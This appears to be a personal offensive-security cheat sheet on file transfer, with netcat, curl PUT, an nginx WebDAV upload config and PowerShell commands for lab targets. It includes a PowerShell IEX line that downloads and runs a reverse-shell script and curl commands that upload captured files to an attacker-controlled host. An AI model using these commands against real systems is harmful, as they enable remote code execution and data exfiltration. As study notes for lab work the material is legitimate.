File Transfers
tags: Security
Reference
offsecnewbie
Unix
netcat
- Receiver
ncat -l -n -v 90 > simpler.py
- Sender
cat simpler.py | nc 10.10.14.207 90 Ctrl-c
http - put
python3 http.server
- Sender: upload - with put method
curl --upload-file TEST.txt --url http://192.168.8.9/TEST.txt --http1.0
- Receiver: http.server with put method
wget https://github.com/WildfootW/Security-utility-Scripts/blob/master/Network_Protocol/http.server_with-put.py
python3 http.server_with-put.py 80
nginx
server {
listen 8001 default_server;
server_name wildfootw;
location / {
root /var/www/upload;
dav_methods PUT;
}
}
curl --upload-file captured.cap 10.10.14.14:8001
Powershell
SANS blog
Invoke-WebRuquest
upoad - with put method
$FilePath = ".\TEST.txt"
$uri = "http://192.168.8.9/TEST.txt"
Invoke-WebRequest -uri $uri -Method Put -Infile $FilePath -ContentType 'text/plain'
download
Invoke-WebRequest -Uri "http://10.10.14.42/wmic_info.bat" -OutFile wmic_info.bat
run sciprt
powershell IEX(New-Object Net.WebClient).downloadstring("http://10.10.14.42/reverse.ps1")
maybe you need use \" to escape